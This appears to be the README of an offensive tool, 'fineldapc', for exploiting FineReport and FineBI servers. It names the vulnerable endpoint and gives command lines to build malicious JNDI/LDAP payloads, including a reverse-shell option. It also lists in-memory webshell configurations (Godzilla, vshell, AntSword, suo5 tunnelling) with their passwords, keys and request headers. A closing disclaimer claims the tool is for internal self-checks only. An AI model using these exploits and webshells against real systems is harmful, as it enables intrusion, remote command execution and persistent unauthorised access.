▄████████ ▄█ ███▄▄▄▄ ▄████████ ▄█ ████████▄ ▄████████ ▄███████▄ ▄████████
███ ███ ███ ███▀▀▀██▄ ███ ███ ███ ███ ▀███ ███ ███ ███ ███ ███ ███
███ █▀ ███▌ ███ ███ ███ █▀ ███ ███ ███ ███ ███ ███ ███ ███ █▀
▄███▄▄▄ ███▌ ███ ███ ▄███▄▄▄ ███ ███ ███ ███ ███ ███ ███ ███
▀▀███▀▀▀ ███▌ ███ ███ ▀▀███▀▀▀ ███ ███ ███ ▀███████████ ▀█████████▀ ███
███ ███ ███ ███ ███ █▄ ███ ███ ███ ███ ███ ███ ███ █▄
███ ███ ███ ███ ███ ███ ███▌ ▄ ███ ▄███ ███ ███ ███ ███ ███
███ █▀ ▀█ █▀ ██████████ █████▄▄██ ████████▀ ███ █▀ ▄████▀ ████████▀
▀ power by unam4
漏洞路径: /webroot/decision/remote/design/channel
加载jsp依赖： /webroot/decision/file?path=org.apache.jasper.servlet.JasperInitializer&type=class
获取版本: /webroot/decision/system/info
生成恶意jndibin：java -jar fineldapc.jar -bin [rmi|ldap]://host:port/obj
开启恶意ldap：java -jar fineldapc.jar -jndibin <port> <CLASS:classname>/<resershell:ip#port>/<FILE:filepath>
生成恶意类加载bin: java -jar fineldapc.jar -loadbin classname(suo5jsp写不了，太大了)
classname: (fineBI都可以使用，finereport请用jsp类型)
tomcatecho (head头 Etags: base64enc(Command))
godzilla_mem 加密器: JAVA_AES_BASE64 密码: Hwtfhlitg 密钥: Loklewkvqbo 请求路径: /* 请求头: User-Agent: Orjuagk
suo5 (suo5 -d -l 0.0.0.0:7788 --auth test:test123 --ua 'Nuexq' -t http(s)://ip:port/webroot/decision)
vshell(agent): 加密器: JAVA_AES_BASE64 密码: Iddzfpe 密钥: Septtdzjura 请求路径: /* 请求头: Referer: Aiskhs 脚本类型: JSP
anstword 类型：jspjs 密码: b
suo5jsp: suo5 -t http://10.211.55.2:8075/webroot/tunnel.jsp
godzillajsp: 加密器: JAVA_AES_BASE64 密码: fine 密钥: ldapc 请求路径: /*
重要: !!!
免责声明 该工具仅用于安全自查检测
由于传播、利用此工具所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，作者不为此承担任何责任。
本人拥有对此工具的修改和解释权。未经网络安全部门及相关部门允许，不得善自使用本工具进行任何攻击活动，不得以任何方式将其用于商业目的。
该工具只授权于企业内部进行问题排查，请勿用于非法用途，请遵守网络安全法，否则后果作者概不负责